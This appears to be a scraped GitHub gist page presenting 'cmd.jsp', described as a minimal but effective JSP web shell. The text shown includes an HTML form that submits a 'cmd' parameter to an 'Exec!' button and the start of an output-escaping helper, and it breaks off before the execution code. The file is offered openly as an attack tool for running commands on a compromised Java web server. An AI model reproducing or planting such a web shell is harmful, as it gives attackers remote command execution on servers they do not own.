Skip to content

Instantly share code, notes, and snippets.

View Systemhlp's full-sized avatar
💻
root@localhost ~#

unknown Systemhlp

💻
root@localhost ~#
View GitHub Profile
@ErosLever
ErosLever / cmd.jsp
Created March 18, 2015 09:13
A simple and minimal yet effective JSP Web Shell that escapes command output as HTML entities as needed.
<form method="GET" action="">
<input type="text" name="cmd" />
<input type="submit" value="Exec!" />
</form> <%!
public String esc(String str){
StringBuffer sb = new StringBuffer();
for(char c : str.toCharArray())
if( c >= '0' && c <= '9' || c >= 'A' && c <= 'Z' || c >= 'a' && c <= 'z' || c == ' ' )
sb.append( c );
else